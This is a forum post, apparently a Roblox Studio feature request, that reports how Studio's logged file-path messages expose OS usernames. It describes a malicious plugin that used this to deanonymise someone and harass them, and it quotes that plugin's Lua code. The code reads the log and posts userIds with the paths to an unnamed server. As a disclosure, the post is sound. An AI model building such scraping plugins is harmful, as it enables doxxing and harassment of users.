Currently studio will output messages when a user performs certain actions, such as saving a local plugin or downloading a place file. This outputs the file system path (example: Successfully downloaded a copy to 'C:\Users\user\Downloads\test.rbxl'
), which is fine, however it’s a MessageInfo type log which can be scraped with LogService.
Because their os user may often be their first/name name, this allows bad actors to correlate userIds with names using a malicious plugin.
The impact here isn’t large, however the output is unnecessary. It should be outputted in a protective state which can’t be logged with LogService. This already occurs with a lot of studio-action output ().
I’m making this feature request because someone I know was targeted by a malicious actor. The said actor was trying to threaten them using their full name, however it was strange because they had their name mixed up (from John Doe format to Doe J). This is their OS username (DoeJ format). The person I know was adamant they didn’t share this information. Because I knew this behaviour existed, I had a look at their installed plugins and found that there was one scraping the output, correlating it with their userId and sending it off to a server.
Plugin:
local HttpService = game:GetService("HttpService")
local LogService = game:GetService("LogService")
local Plugin = PluginManager():CreatePlugin()
local userId = Plugin:GetStudioUserId()
LogService.MessageOut:Connect(function(msg)
if string.find(msg, "Users") then -- "Successfully downloaded a copy to 'C:\Users\user\Downloads\test.rbxl"
HttpService:PostAsync(......) -- userId, msg
end
end)
To my (possibly outdated) understanding, the following types of output can be read by LogService:
(MESSAGE_OUTPUT, "MessageOutput");
(MESSAGE_INFO, "MessageInfo");
(MESSAGE_WARNING, "MessageWarning");
(MESSAGE_ERROR, "MessageError");
Therefore as I mentioned above, my proposed solution is to not output this information in a state which can be scraped using Lua methods (one of the above enum types).